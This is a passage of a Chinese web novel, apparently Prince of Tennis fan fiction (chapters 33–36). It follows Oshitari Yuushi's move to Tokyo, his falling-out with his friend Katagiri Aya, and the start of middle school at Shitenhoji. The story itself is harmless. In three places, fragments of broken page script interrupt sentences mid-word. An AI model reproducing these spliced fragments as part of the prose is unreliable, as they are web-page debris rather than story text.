“嗯,”忍足侑士点点头,“蛮好听的,要不要听听看?” 片桐彩纠结了一瞬,最终还是伸手问他要了一只耳机:“那我就欣赏一下好了。” 虽然她不是很喜欢这种忧郁情调的歌,但偶尔听听感觉还不错,慢悠悠的曲调总是能让人心情平和下来。 只是这样的歌多少有些伤感,她不太喜欢。 中岛美雪的词作一如既往的优美,可惜意思不怎么好。 不管是“那个人”怜爱的红花,还是期待“那个人”垂怜的白花最终都凋落了。 不过好在还有一个可以期盼的“来年春天”,花开花落是常事,红花和白花都还可以再开。 她静静地听完这首歌,就把耳机摘下了。 “还不错,”她说,“果然是‘侑士风格’。” 忍足侑士掩着唇,低低地笑了起来:“什么‘侑士风格’啊……太奇怪了吧。” “本来就是嘛,”片桐彩比划比划:“总感觉侑士有种……大人的感觉,很成熟,说话啊做事啊都是,你看的书我看不懂,听的歌有时候我也听不懂……” “像是你最近迷上的与谢野晶子的和歌,我就体会不到其中的奥妙……” 她的动作慢慢顿住了,蹙眉陷入深思:“我记得她也写过一首……红花白花……什么的。” 忍足侑士怔了怔:“嗯?你说的是那首吗——‘晚舟归来迟:僧人啊,我想问你是红莲多还是白莲多?*’” “啊,对,好像就是那个,”片桐彩皱了皱鼻子:“为什么要在诗歌里问问题啊……所以是红莲多还是白莲多?” “唔……这个问题的答案嘛——”他目光柔和,眼底笑意满盈:“你自己想吧。” 片桐彩轻哼一声,不再和他搭话,两个人就这么静静地坐在檐廊下看星星。 晴朗的夏夜星河璀璨,有时她会觉得,或许他们在山里看到的天和在城里看到的天不是同一片天。 城市里霓虹灯闪烁,天上的星星看起来总是渺小得像黑绒布上的一粒灰尘,黯淡无光。 她在心里默默描摹着天上闪耀得如钻石一般的星星,试图找到上次忍足侑士指给她看的星座,可天上的星星实在太多,她无论如何都无法确定连成星座的是哪几颗。 她干脆直接放弃了,盯着最亮的那颗星星发呆。 促织不知道藏身何处,切切地鸣叫着,她的目光好奇地在院子里左翻右找,却连它藏身的方向都没能判断出来。 “小彩。” 她抬眼望向唤她的小伙伴,歪了歪头等待他的下文。 他说:“过几天我就要去东京了。” 片桐彩被他的“报备行为”弄得有些莫名其妙:“去呗,怎么啦?” 忍足侑士只是看着她,没有回话。 她心里突然生出了些许不好的预感,这种不好的预感在这份奇异的沉默里越发膨胀。 “又是去参加什么比赛吗?还是去研学什么的……”她似有所感,故作轻松道:“反正只要赶在开学之前回来就好啦。” “不,”他推了推眼镜,平光镜的反光模糊了他的神色:“以后就都在那里了——爸爸工作调动,我……” 他顿了顿,“我也会去东京上学……抱歉,我食言了。” 33.第 33 章 “抱歉,我食言了。” 夜风微凉,促织的鸣叫声在风里回旋,片桐彩突然觉得有点烦闷。 好吵。 她深吸一口气,稳定了一下自己的情绪,这才望向坐在一旁安静得像空气一样的忍足侑士:“所以,你只是来通知我这件事情的?” 如果是因为瑛士叔叔的工作变动去东京的话,那么他至少提前一个月就知道了这件事情。 这一个月里他有无数个机会可以告诉他们这件事情,可他没有。 现在距离开学也只有几天时间了,他在这个关口才告诉他,她怎么可能不生气? 烦躁。 超烦躁。 有种被好朋友背叛的感觉。 她这段时间还一直在操心他们上国中以后的事情——四天宝寺这个“耍宝正门”搞笑为王,侑士肯定不太适应这样的环境,她和谦也甚至还找毕业多年的土谷绩他们取经,做了好多好多笔记,希望他开学以后能够轻松一点。 按理说,他去别的学校上学肯定会轻松很多,她也该为他感到高兴才是,可她就是不高兴。 也许是因为他的食言,也许是因为她本就对东京没什么好印象……脑中的思绪杂乱无章,她暂时不想去打理。 “如果只是来通知我的话,好,我收到你的通知了,晚安。” 片桐彩“噌”的一下站起身来,看也不看他一眼,扭头就走。 胸腔中那股无名怒火熊熊燃烧着,火舌舔舐着她的心肺,慢慢地,连呼吸都变得灼热起来。 她才刚迈出一步,手指就被轻轻勾住了。 忍足侑士的声音从她身后传来:“小彩,抱歉……” 道歉道歉还是道歉! 她想要听到的又不是这种东西! 她最讨厌听到“抱歉”、“对不起”这样的话了! 他们是朋友不是吗?为什么总是这么……生疏? 过分的礼貌在她看来,和疏离没差。 片桐彩猛然回头,眉毛重重地压了下来:“除了‘抱歉’以外,你就没有别的想说的话了吗?” 忍足侑士翕动着唇想要说些什么,她却不那么想听。 她闷闷地推开他勾着她手指的手,满眼都写满了沮丧:“算了,我现在不够冷静,不要和我说话了,我不想和你吵架。” “如果现在站在这里的人是谦也呢?” “什么?” 忍足侑士的目光沉沉,浓绀色的眼睛像极了夜晚平静无波的海。 他执拗地再次开口道:“如果现在站在这里的人是谦也,你还会……这样吗?” 还会这样不问原因,不明不白地就走掉吗? 她甚至都不问他一句,他是不是真的愿意去。 问出这句话以后,忍足侑士便垂下了眼帘,纤长的睫毛遮住了他的眸子,他看不见她的脸,她也看不清他的眼。 她总是偏爱谦也的。 片桐彩听得云里雾里。 不知道从什么时候起,她突然开始听不懂侑士的话了。 比如现在。 “这样是什么样?”她不解地摇了摇头:“侑士,我不喜欢猜谜。” “好吧。” 忍足侑士倏地轻笑一声,又坐回了原位,他随手塞了一只耳机进耳朵里,小声说道:“晚安。” 片桐彩实在是弄不明白他的想法。 怒火还在她的心口横冲直撞,见他这副样子,她随口回了句“晚安”便火气冲冲地冲回自己的房间,拱进被子里睡觉。 睡觉…… 睡觉…… 睡…… 根本就睡不着嘛! 她翻了个身,头发被乱糟糟地压在身下。 也不知道侑士有没有回房间。 虽然是夏天,但山里的夜晚还是很冷的,他穿得有些单薄,要是感冒就不好了。 要不要去看一眼呢…… 片桐彩犹犹豫豫地想着,可一想到他这次这么过分的行为,她瞬间又熄了那点心思。 她盯着天花板上的纹路,思绪慢慢跑远了。 也不知道是从什么时候起,侑士就不常和他们一起行动了。 他总是一副游离在外的样子——虽然他还是会和以前一样和谦也拌嘴,也一如既往地照顾她,但她总觉得,他好像有哪里不一样了。 究竟是从什么时候开始的呢? 片桐彩努力回忆了一下,终于从乱七八糟的记忆里找出了自己想要的答案。 好像是从他戴上眼镜的那天开始。 他明明就没有近视。 是为什么戴眼镜的……他好像从来都没有说过。 她也不是没有问过,可他总是驾轻就熟地转移她的注意力,总也得不到他的回复。 侑士说话总是模模糊糊的,她听不懂。 有时候她也会有点委屈,又不是所有人都像他那么聪明,有什么是不可以直说的呢? 总是要去猜人说话是很累的。 侑士太内敛了,她真的很努力地在猜了,却总也猜不中。 就像刚才他说的话……她不明白。 片桐彩躺在床上翻来覆去,最终还是放不下心,偷偷拉开门朝外望了一眼。 他果然还在外面。 她从柜子里翻出一条毛绒绒的空调毯,放在小推车里用力一推滑到他身边,在他回过头来看向这边的一瞬间,她“唰”的一下拉上了门。 过了好一会儿,她才又悄悄拉开一条缝,看看外面的情况。 忍足侑士盯着毯子,也不知道究竟在看什么,看得这么入神。 看了好一会儿,他终于拿起毯子,轻轻披在自己身上,片桐彩这才松了一口气。 她又做贼般蹑手蹑脚地拉上门,钻进柔软的被子里。 这下他应该就不会感冒了吧。 她迷迷糊糊地想着,陷入沉眠。 …… “笃笃——” “笃笃——” 好吵…… 片桐彩把脑袋捂在被子里,尝试将敲门声隔绝。 可敲门声就像鬼一样缠着她,她打了个呵欠,怨气十足地坐起身来。 墙上的挂钟时针指向三和四之间,很好,天都还没亮。 她倒是要看看是哪个鬼来烦扰她,叫她不得安睡。 她气势汹汹地门口,猛地一拉门—— 原来是胆小鬼。 胆小鬼忍足谦也披着一层毛绒绒的毯子,把自己从头到脚都裹得严严实实的,只留了一双眼睛露在外面。 “小彩……早上好啊。” 早什么早,外面天还黑黢黢的呢。 片桐彩无力吐槽,径直走向自己的被褥,直直地栽了进去。 她好困,现在只想睡觉,谁来打扰都不行。 “小彩,小彩?”忍足谦也轻轻戳了戳她的脸颊,小声问道:“我能不能在你房间里睡?” “嗯?”她的声音闷闷的:“怎么不在你自己的房间睡?” 忍足谦也不自然地笑了几声:“啊……是……哈哈,那个,空调稍微有一点点问题……” 片桐彩翻了个身,迷迷糊糊地回道:“唔……随便你……” 忍足谦也这才松了一口气,把自己怀里抱着的枕头放到一边,安安静静地躺下了。 榻榻米上蔺草的香味柔和地在他鼻腔里溢开,他轻轻嗅了嗅,空气里还有小彩惯用的洗浴剂的香气,叫他莫名安心了许 () { $(''.inform'').remove(); $(''#content'').append('' 多。 按理说,他们都已经这么大了,不该再睡在同一个房间了,但是他实在是有点害怕。 他房间的空调倒是没有什么问题,有问题的是他自己。 白天小彩讲了鸟取城之战的事情,叫他莫名有些在意。 这场战争打造了一幅地狱图景,惨烈程度哪怕只是一段文字描述,都叫人不忍卒读。 这样惨烈的战争诞生的怨灵应该会很多吧…… 他素来敬畏鬼神,被她这么一吓,总感觉天一黑,房间里灭了灯以后,哪儿哪儿都是那些惨死的怨灵。 他努力让自己睡觉,却怎么也睡不着,找侑士,侑士总喜欢锁着门睡觉,今天也不例外——他甚至都没有回他一句话,他就只好来找小彩了。 幸好小彩同意他留在这里睡了,不然他要是一个人待在那个房间里的话…… 忍足谦也不由得打了个寒噤,那也太恐怖了。 他不由得裹紧了毯子。 睡觉吧,天都还没亮呢。 他合上双眼,努力放缓呼吸酝酿睡意。 吸气,呼气。 吸气,呼气。 …… 他猛地睁开双眼。 睡不着。 这里真的没有鬼怪之类的东西吧…… 他的心“扑通扑通”地乱跳,呼吸也变得急促起来。 突然,一个毛乎乎的东西蹭了蹭他的脸颊,他吓得惊叫一声,把一旁刚刚入睡的片桐彩给惊醒了。 “谦也,你不睡觉鬼叫什么啊……” “鬼!什么鬼在叫!”忍足谦也颇有点草木皆兵的意味,他心虚地别开眼:“呃、我是说,我……我的脚不小心磕到柜子了,撞得有点痛……” 哈…… 片桐彩在心里默默叹了口气。 谦也真是好懂得要命,所有的心思都写在他的脸上了。 他好像还是有点害怕。 早知道白天就不该那样吓他的。 她艰难地从被子里伸出手,朝着忍足谦也的方向摸了摸,手刚刚触碰到一小片温热的皮肤,对方就吓得惊叫一声,猛地跳了起来。 “呜哇!什么东西!” 忍足谦也焦灼地抱着枕头,一脸警惕地盯着榻榻米,目光扫来扫去,试图找到那个作乱的怪东西。 “是我的手,”片桐彩打了个呵欠,把手举起来挥了挥:“喏,看到了吗?这个,我的手。” 他羞赧地躺了回去,脸上飞红:“哦、哦,我还以为是有什么小动物跑进来了呢,那样的话就太危险了。” 片桐彩瞥了他一眼,没有戳穿他,再次冲着他伸出手:“天太黑了,我有一点点害怕,谦也可不可以牵着我睡?” 她往那边摸了摸,却什么都没摸到,只好侧过身去,努力伸长了手去够。 可忍足谦也像根木头一样,就那样呆呆地瞪着眼,动也不动。 片桐彩还没有睡够,心情不怎么好,她拧着眉:“靠过来一点呀,我都碰不到你了。” 忍足谦也这才磨磨蹭蹭地往她身边靠了靠。 她等得有点不耐烦,自己挪了挪自己的被褥,和他只隔了一只手的距离,她随手拉起他的手,又打了个呵欠。 “好啦,睡觉吧。” 忍足谦也低低地应了一声,她便安心地睡着了。 馥郁的花香霸道地扑进他的鼻腔,忍足谦也不适地揉了揉鼻子,试图挥散这道和他发上的香气一模一样的味道。 他晕晕乎乎的。 是哦,他们是在同一家弄的头发,味道当然一样了。 掌心源源不断地传来热意,他乱蹦的心也慢慢平静下来,两道呼吸声渐渐重叠在一起。 今夜好眠。 34.第 34 章 次日,片桐彩和忍足侑士陷入了冷战。 这还是他们这么多年来,第一次吵架。 说是吵架也不恰当,他们根本没有吵起来,只是两个人谁都不搭理谁了而已。 由于开学日在即,他们拎着行李,踏上了回大阪的电车。 电车外的景象不断往后倒退,忍足谦也坐在他们中间,有种身处真空地带的感觉。 沉闷的气氛简直叫他快要窒息了,他左看一眼右看一眼,两个人的面色都异常平和,和平时看起来也没什么区别。 可他知道,没有区别就是最大的区别。 如果真的没什么问题的话,此时坐在中间的就不该是他才对。 每次三人一道出行的时候,小彩总是坐在他和侑士中间,他们有时候还会说些悄悄话不让他知道。 可这次,竟然是他坐在中间! 他刚坐下,两个人就一左一右地坐在他身旁,从开始到现在,连句话、不!连眼神都没给对方一个! 这不正常! 忍足谦也觉得大事不妙。 他们是吵架了吗? 他想了想,决定帮他们破破冰:“今天起得好早啊,哈哈,你们都不困吗?” “不困。”/“不困。” “啊,是吗……” 他尴尬地摸了摸头发,气氛瞬间又沉闷下来。 不能在这里认输啊!忍足谦也! 他们现在的关系岌岌可危,就靠你来拯救了! 他在心里默默给自己打打气,绞尽脑汁想出一个新话题,再次开口道:“说起来,过几天就要开学了,入学式的时候……” 他话才说到一半,就被片桐彩轻轻拧了一把,他连忙捂住自己的手臂,委屈巴巴地问道:“怎么了?为什么拧我……” 片桐彩瞪了他一眼,没有说话。 忍足侑士还在看他手里的那本书,书页在他指间沙沙作响——从上车开始一直到现在,他的眼睛就没有离开过那本书。 两个人似乎都不是很想说话的样子。 忍足谦也闭嘴了。 他就不该当这个和事佬! 他一觉醒来,感觉整个世界都颠覆了,早晨洗漱的时候听见有些许争执的声音,还以为是自己听错了,现在想来,很可能是他们两个在吵架吧。 只是不知道他们究竟是在吵什么。 应该很快就会和好吧。 …… 结果一直到忍足侑士要离开的那天,他们都没有再说过话。 忍足家早就已经搬去了东京,只有忍足侑士一个人还留在大阪。 “你要是和大伯伯母他们一道去东京就好了,”忍足谦也帮着他整理装书的箱子:“要是你和他们一道去了,现在就用不着收拾这么多东西了。” “不过你真的不能留在大阪吗?”他嘟嘟囔囔的,“留在大阪的话,生活方面也不用担心,吃饭来我家吃嘛,我们都很欢迎你。” “你要是去东京,小彩指不定会有多伤心呢……” 忍足侑士把手里的东西放进行李箱,妥帖地拉上拉链,拉链发出“刺啦”的响声,盖过了他的话。 “大阪还有你呢。”他说。 忍足谦也不好意思地挠了挠头:“话虽如此,但还是有点不一样的吧……” 他顿了顿,又道:“其实小彩更喜欢和你待在一起。” 忍足侑士没有说话,也不知道是听到了还是没听到。 他扯着胶带把纸箱一个个封好,末了望向他:“我要去赶新干线了,搬家公司的人应该很快就到,这些就拜托你了,钥匙被我放在桌上了。” 忍足谦也看了眼时间,点点头应下:“好,你放心好了,我会帮忙办妥的。” 忍足侑士道了声谢,拎起行李便往外走。 “那个,”忍足谦也的声音从他身后传来:“你和小彩,还没有和好吗?” 他微微蹙眉,没有回答。 “我不知道你们是为什么吵架,你不说,小彩也不告诉我,我想从中调停一下都做不到……” “不是什么重要的事,”他转过身来:“不用太在意。” 他认真地对上忍足谦也明显写满了沮丧的眼睛:“谦也,这又不是你的责任,放松点,别想那么多——调停不是你必须要去做的事情,你不要有什么负担。” “可是你们又不是别人,”忍足谦也不赞同地皱起眉:“你是我……哥,小彩是我的朋友,我不是在管‘别人’的事,我是在关心家人的事、关心朋友的事。” “我们都认识这么久了,有什么话是不好说开的吗?” 忍足侑士一时间不知道该怎么回答。 堂弟问的问题,连他自己也不知道答案。 言语像荷塘里的淤泥,渐渐烂在他心里,他有太多想要表达的东西,可他知道那些话是他不能、也无法宣之于口的。 就像缠绕在他的心上日渐攀援的嫉妒,就像在他胸腔里隐秘蓬勃的独占欲……一桩一件,没有一个是让他能够毫无顾虑脱口而出的。 多可笑啊,他在一段友谊里学会了嫉妒。 如果说他们之间的关系是一个三角形,那绝不是等边三角形。 顶点与顶点之间的距离是不一样的,就像他和小彩之间的距离、就像谦也和她之间的距离。 他走向小彩需要一百步,谦也却只要五十步。 嫉妒在他的心里生根发芽。 为什么不能只看着他呢? 如果最好的朋友只能有一个的话,那为什么不能是他呢? 他也不知道自己输在了哪里,无论如何都想不明白。 谦也曾经臭屁地说自己是最受欢迎的人,虽然当时大家都发笑,但他们都知道,他说的确实是实话。 他的堂弟就是一个很受欢迎的人,他一直都知道这一点。 谦也开朗热情,勇敢仗义,和他一点也不一样。 他和谦也虽然不至于是极与极,但也是天差地别。 如果他在一段自己珍视的友谊里确实没有那么重要的话,他也没必要再在这段友谊里浪费时间。 伤心当然是会有的,但他相信自己很快就能从这种情绪里脱离出来。 他对自己有信心。 他勉强地勾了勾唇角:“时间快要来不及了,我先去车站了,有什么事情以后再说吧。” 忍足谦也心里着急,却也不想耽误堂哥的行程,他忍耐着点点头:“需要我送你去吗?” “不了,我自己去就行。” 忍足侑士紧了紧手里的带子,笑眯眯地和他告了别:“暑假的时候我再回来,到时候再见吧。” 他没有再和堂弟继续寒暄,快步离开了。 院子里的花败了不少,只剩那些月季花还在开着。 他盯着一朵淡粉色的看了一会儿,犹豫片刻,还是从花朵上捻了两片花瓣下来,用白纸包裹好放进口袋。 一阵微风吹过, () { $(''.inform'').remove(); $(''#content'').append('' 他下意识抬起头,隔壁楼上的窗帘动了动,一架纸飞机乘着风扑到他的脸上。 他抿着唇,展开纸飞机,圆乎乎的字映入眼帘—— “一路顺风。” 落款处画着一只气鼓鼓的小羊警官。 他捏着这张皱巴巴的纸看了一会儿,抹了好几下才把它勉强抚平,整齐地叠好后,那张纸就和月季花花瓣一起躺在了他黑黢黢的口袋里。 …… 忍足侑士走后第二天,开学日就到了。 四天宝寺是一所隐在寺庙里的学校,校门很有古建筑的风格。 今天片桐彩和忍足谦也是一道来的,陪同他们来的还有他们各自的父亲。 片桐纪久举着相机,连拍了好多张相片,小彩也乖巧地配合着今天激动得像是中了一千万彩票一样的父亲。 忍足宗也望着他们父女俩的亲切互动,慢慢把视线挪到自己儿子的脸上。 “谦也,你也……” 他举起相机,指挥儿子到他指定的地点,又折腾着叫他露出一个健康的笑容,这才满意地拍下一张相片。 忍足谦也揉了揉自己笑得发僵的脸颊,浑身不自在。 说实话,他和他老爸有时候实在是有点合不来。 就比如在拍相片这件事情上,他老爸的审美实在是有点夸张,他就喜欢这种“健康”的笑容——整齐地露出八颗牙齿的那种。 任由爸爸没完没了地拍了一大堆相片后,片桐彩有点受不了了。 她拉住忍足谦也的胳膊,大声地和片桐纪久道别:“爸爸,我们入学仪式要赶不上了,就先进去了!” 片桐纪久抬腕看了下时间,这才意犹未尽地说:“好吧,不过还有一点点时间,我们拍张合照吧?” 片桐彩看了眼被她拽着的小伙伴,得到对方的首肯后,便停下了脚步。 “事先说好,只能拍一张了哦?” 片桐纪久自然没有不应许的道理,他把相机交给忍足宗也,拜托他帮忙给他和女儿拍照,忍足宗也还未点头答应,相机便被忍足谦也抢走了。 开玩笑,要是让他老爸拍,他绝对会叫他们都露出那种龇牙咧嘴的笑容的! 那也太伤眼了! “叔叔,我来给你们拍吧?” 片桐纪久无所谓是谁拍,便点了头。 忍足谦也聚精会神地给他们父女俩拍了张相片,把相机交还给他。 看着相片里被拍得格外可爱的女儿,片桐纪久满意地拍拍他的肩膀:“好孩子,我给你和你爸也拍一张!” 忍足宗也也同意这个提议,他在儿子身边站定,缓慢而坚定地咧开嘴,露出了整齐的八颗牙齿。 好、好标准的笑! 片桐纪久大受震撼,连着按了好几次快门。 “爸爸,给我和谦也也拍一张吧?”片桐彩拉拉父亲的袖子:“我还没和谦也拍过呢,入学式的纪念相片。” “是哦,”片桐纪久翻了翻相片:“和谦也站在一起,我给你们拍一张!” 片桐彩乖巧地站去忍足谦也身边。 四天宝寺樱花不盛,桃花却多,一阵风拂过,粉白的花瓣漫天飘落。 花瓣扑簌簌地落在他们的发上、肩上,引得两个孩子不约而同地露出一个轻松的笑。 “咔嚓——” 快门的声音响起,这一刻的时间被封存在这张相片里。 要是侑士也在的话就好了。 他们想。 35.第 35 章 不习惯。 好不习惯啊! 片桐彩支着脸,心不在焉地记着老师板书的内容,笔尖在纸面上点来点去,点出一连串的小黑点。 也不知道侑士最近怎么样。 他去的地方可是东京欸……东京,很可怕的。 最近他都没怎么说话,发讯息回复也慢吞吞的,有时候头一天的消息要第二天才能回! 惠里奈姐姐已经跳级读大学了,问她侑士的情况她也不太清楚。 要不问问看谦也吧? 她想了想,抽出笔袋里的便利贴,在上面写写画画一阵,随手撕下一张团成一团,趁老师不注意,往斜后方的位置丢去。 “嘶……” 一声低低的抽气声传来,片桐彩悄悄朝斜后方望去,一头丁子茶色头发的少年正捂着自己的脑袋四处张望,似乎是在找这团硬邦邦的便利贴纸团的来源。 她假作认真地盯着黑板,轻轻叩了两下桌子,在老师回头板书的时候,倏地回过头去。 “白石,那个——”她指了指他手里捏着的纸团,小声道:“那个,给谦也——” 白石藏之介像是没听见一样,老神在在,无动于衷,一双眼睛紧紧盯着黑板,一副严肃认真的模样。 那张纸团被他攥在手里,丝毫没有要丢出去的打算。 咦? 是没有听到吗? 片桐彩把身体往那个方向侧了侧,稍微放大了一点音量:“那个,请白石交给谦也,谢谢啦!” 白石藏之介依旧不动如山,只是眼底多了一丝叫人摸不清头脑的怜悯。 “拜托拜托,今天的蔬果汁我去便利店帮你跑腿!” “在说什么呢,片桐同学?” 一道声音幽幽地从她身后传来,片桐彩僵硬着回头,数学老师皮笑肉不笑地站在她身后,眼镜下森冷的眼神几乎要戳破她的头皮。 她露出一个僵硬的笑容:“啊,那个,老师讲得真好啊,真的太好了,我实在是按捺不住想要赞美老师的心情,抱歉……” “原来如此,”数学老师笑眯眯地点点头:“你说我讲得很好,想必你也听明白了我讲的内容吧,请片桐同学复述一遍我刚才的问题好了——片桐同学,请吧。” 片桐彩顶着老师凌厉的目光,连一秒都没有坚持得下来,她迅速滑跪:“老师对不起,我不该上课开小差,也不该打扰同学上课的!” 她一脸坚定,慷慨陈词:“是我的错,我申请去门外罚站一节课,好让我记住我的错误!” 数学老师无语地瞥了她一眼:“别以为我不知道你想出去放风,让你出去你就该跑了……行了,坐下吧,好好听课,不行就站讲台边上来听。” “哈哈,那还是不用了,”她老老实实地坐下,“老师,我坐着听就好。” 一场闹剧就此终结,片桐彩也乖巧地坐在凳子上,一直坐到这节课结束。 下课铃一响,她立刻瘫倒在自己的桌子上。 数学这种东西,真的是给人类学习的吗? 数学对于她而言,简直就是天书,她真是信了惠里奈姐姐的鬼话,以前还天真地以为数学是多么简单的学科,随便看看就会了…… 她看出花了都没看明白! 事实证明,姓忍足的都是天才。 不管是惠里奈姐姐,还是忍足两兄弟,数学学得都很好,就连忍足叔叔忍足阿姨他们,也都是纯理出身的。 哈哈,真好。 基因遗传也起到了一定的作用吧……继承了爸爸妈妈的高智商什么的…… 天才什么的,也会扎堆出现哦…… 正当她胡思乱想之际,一只手拍上了她的肩。 “片桐,你还好吧?” 片桐彩有气无力地比了个“OK”的手势:“还好,没有死掉。” 想到那张还捏在白石藏之介手里的便利贴,她猛地抬头,冲着被她吓了一跳的少年伸出手:“纸团——” 白石藏之介好脾气地把那团纸团放进她的手里,不好意思地摸了摸鼻子:“那个……很抱歉,虽然我不是故意的,但是我看到这张纸的内容了——” 见少女对他怒目而视,他连忙举起双手作投降状:“我真不是故意的,你没有捏紧,砸到我脑门的时候散开了一大半……” 片桐彩狐疑地打量了他几眼:“真的?” “千真万确,谦也给我作证,”白石藏之介望向站在他身侧的忍足谦也:“是吧?你看到了吧?” 忍足谦也蹙着眉点头:“是,但是你能不能别离小彩那么近?男女有别你不知道吗?” 他无语地退后两步,比划着自己这两位新朋友之间的距离,深感自己被排挤了。 “可是你站得比我要近多了,”他远远地丈量了一下他们之间的距离:“你都快和她贴在一起了!” 忍足谦也轻哼一声:“你和我能一样吗,我认识小彩可比你认识要久多了——我们很小的时候就认识了……” 眼见他又要开始絮叨他们的过往,白石藏之介干脆捂住了他的嘴。 他好奇地望向趴在桌上玩弄纸片的片桐彩:“那个叫‘侑士’的是你的男朋友吗?你看起来好像很担……”心他的样子。 他话音未落,两个人皆以震撼、不可置信的目光看向他,刚才还有气无力的片桐彩瞬间拍桌而起。 “怎么可能是啊!” 她仿佛受到了极大的震撼,眼睛睁得都比平时要大上一圈。 她的目光慌乱地投向谦也的方向,下意识向他寻求帮助:“他、他是谦也的堂哥!是我的朋友!谦也,你快解释一下啊!” 忍足谦也也“呜呜”地赞同着,他看向这位新朋友的眼神像是在看一个不懂事的孩子,弄得他打了个寒噤。 白石藏之介没想到自己的话会引来这么激烈的反应。 奇怪。 真是太奇怪了! 他的目光在他们两人之间睃巡,他沉吟片刻,突然恍然大悟地点了点头。 “原来如此,是我冒犯了,”他双目澄澈,一脸真挚:“我懂了。” 不是,你懂什么了? 片桐彩一头雾水地望着他,满目茫然。 “没想到你们才是恋人啊,”白石藏之介感叹道:“难怪你们总是有那么多两个人的小秘密……我还以为你们是在故意排挤我呢。” 倒也不怪他会这么想,虽然他们都是因为异宠结缘,但片桐彩和忍足谦也之间显然有种他插不进去的氛围,他时常感觉自己受到了排挤。 就像他们在聊自己心爱的异宠时,片桐彩对忍足谦也的鬣蜥了如指掌,忍足谦也也很清楚关于她的石头朋友“小绊”的小趣事。 慢慢熟悉起来以后,他们的聊天不仅限于是异宠方面的事情了,也会聊些生活方面的事,他们发出的言论偶尔会让他惊觉自己被排除在外了——他们说的东西他统统都不知道! 明明大家都是一起上学一起放学来着! 就算是幼驯染,也亲密得有点太过了吧。 国中生、甚至是小学生恋爱他也不是没见过,他妹妹友香里甚至在幼稚园的时候就已经有了三个男朋友。 原来他们是恋人啊。 既然是恋人,那就不算朋友之间的排挤了,恋人之间亲密一点,有点小秘密也很正常。 白石藏之介舒了一口气,心里的那点微小的纠结终于放下了。 他松开捂着忍足谦也嘴巴的手,感慨万千:“啊呀,真是……” 片桐彩只觉得太阳穴一跳一跳的,压力条被他的话瞬间点到满值。 白石藏之介,白石君,你长得也不像是个傻瓜恋爱脑啊…… 怎么能说出这么……奇怪的话呢! 她和谦也完全就是家人啊! ……虽然只是她单方面认为的。 就算不是家人,也是最要好的朋友……之一吧! 这完全就是在亵渎他们至高无上的友谊! 她不满地撕下一张便利贴,团吧团吧砸了他一下:“白、石、藏、之、介!” “我们就不能是正常的朋友关系吗?!”她按着心口 () { $(''.inform'').remove(); $(''#content'').append('' ,剧烈地喘息着:“你这个、八卦的愚蠢恋爱脑!” “可是……” 他本还想说些什么,可还未说完,就被忍足谦也狠狠地捂住了嘴巴。 “啊啊啊根本就没有这回事!” 白石藏之介慌乱中瞥了眼疑似在“公报私仇”的朋友,却不小心瞥见他藏在发下的、染着红意的耳廓。 “我和小彩只是朋友,不要发散思维想七想八的,”忍足谦也语气平和,态度认真,好似和平日里没什么差别:“要是真的那么闲,就去看你的毒草图鉴。” 他点点头,捂着他嘴巴的手终于放了下去。 忍足谦也也不管他,转头就去和片桐彩交谈起来。 他若有所思地站在一旁看着他们说话,好像是在讨论那个叫“侑士”的人的事情。 平时没怎么注意,现在再仔细观察,总感觉有些东西有一点点明显。 他们好像都还没有开窍……不,谦也好像有点…… 白石藏之介冷静地分析着—— 不对,他为什么要操心这种事情! 他又不是片桐口中的“八卦愚蠢恋爱脑”! 他赶忙挥散了脑子里出现的愚蠢想法,看着他们谈话。 “所以,侑士最近也没有和你通过几次电话?”片桐彩忧心忡忡地捧着脸:“他真的没事吗……” “应该没关系吧,”忍足谦也摸摸她有些褪色的脑袋,语气颇有些不情愿:“虽然很不想承认,但侑士还挺厉害的……没人会欺负到他。” “可是那是私立推荐制学校欸,还是从幼教一直到大学教育一揽子承包的学校。” 她担忧地耷拉着眉眼:“那种学校学生大多彼此都认识,侑士虽然是国一就入学的,但同学大多都是从小学部直升的……” 忍足谦也知道她想到了她自己过往的经历,安抚似的给她顺了顺背,声音也放柔了不少:“你要相信侑士啊,他又不是任人宰割的性子——说起来,你和他还没有和好吗?” 片桐彩迷茫地眨了眨眼:“我也不知道……发讯息他也会回,但是回得很慢,昨天晚上发去的讯息现在都还没回我呢。” 忍足谦也闻言愣了愣,突然收了声,眼神不自然地四处乱飘。 她一眼就看出他似乎在隐瞒一些事情。 还是和侑士有关的。 片桐彩眯了眯眼,理直气壮地朝着他伸出手:“谦也,你的手机借我用一用。” 忍足谦也捂着口袋摇摇头。 她面无表情地盯着他看了一会儿,眼睛里泛起一层水雾,不出三秒,眼泪立刻“吧嗒吧嗒”地往下掉。 白石藏之介打了个寒噤。 面无表情地掉眼泪这种事情是和谁学的啊…… 就算长得再可爱,看起来都很恐怖啊喂! 这明显就是假哭吧,完全就是假哭嘛。 就算是个笨蛋都能看出来吧,谦也总不可能不知…… 喂! 等等! 怎么这就把手机交过去了! 白石藏之介惊恐地看着他堪称乖巧地把手机送到片桐彩手里,紧跟着还熟练地从口袋里掏出手帕给人擦脸。 这孩子没救了。 他疲惫地拍了拍忍足谦也的肩,引来对方一个疑惑的眼神。 他已经完全明白了片桐这种无论做什么事都相当理直气壮的性格到底是怎么培养出来的了。 就惯着吧,幼驯染A谦也君。 也不知道那个叫“侑士”的是个什么样的人。 带着这两个孩子一定很辛苦吧。 正当他感慨之际,那边传来了片桐彩咬牙切齿的怒斥。 “忍、足、侑、士!” “好好好,给谦也回不给我回,故意不理我是吧……你完蛋了!” 她看起来真的很生气,像个怒发冲冠的小狮子。 总感觉有什么不得了的事情要发生了。 白石藏之介在心里默默为素未谋面的忍足侑士点蜡。 祝你平安,幼驯染B“侑士”君。 36.第 36 章 “小彩,今天真的不去学校吗?” 片桐纪久担忧地摸摸女儿的脑袋,“是哪里不舒服吗?” “唔,我的身体很健康,爸爸不用担心,”片桐彩可怜巴巴地捏着被子:“我只是太累了,想要休息一天,可以吗,爸爸?” “当然可以了,爸爸给你请假。” 片桐纪久叮嘱道:“不过今天爸爸还有工作,不能在家陪你,你姑姑在准备最近的甜品大赛,也不要去打扰她了,有什么需要的东西直接打电话给柿山,他会给你送过来的。” 小彩乖巧地点点头:“谢谢爸爸,我会乖乖的,爸爸辛苦啦。” 片桐纪久看着乖巧可爱的女儿,心软软的,他揉了把女儿软乎乎的头发,这才一步三回头地离开了。 直到听到楼下有汽车开走的声音,片桐彩这才从床上一跃而起。 乖乖的? 不可能。 她早早就做好了今天的行程安排。 自从昨天得知侑士那家伙故意不理会她这件事情以后,她就气得不行,气到晚上回家连吃三大碗米饭,把爸爸和姑姑都吓到了。 原本她还在担心他在那里过得不好,现在一看,简直是好得不得了嘛! 